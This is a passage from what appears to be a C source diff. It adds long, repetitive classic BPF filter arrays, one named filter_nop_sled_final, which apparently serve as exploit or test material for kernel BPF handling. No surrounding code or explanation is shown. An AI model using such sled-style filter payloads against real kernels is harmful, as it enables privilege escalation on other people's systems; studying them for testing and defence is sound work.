0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000056, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000054, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000055, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000029, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000058, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000058, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000057, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000058, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000017, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x56, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x55, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x54, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x53, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x52, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x51, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x50, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x49, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x48, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x47, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x46, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x45, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x44, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x43, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x42, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x39, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x38, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x37, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x36, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x35, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x19, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x18, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x17, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x16, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x15, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x14, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x13, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x12, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x11, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x10, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x09, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x08, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x07, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x06, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, +}; + +struct sock_filter filter_nop_sled_final[] = { + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { 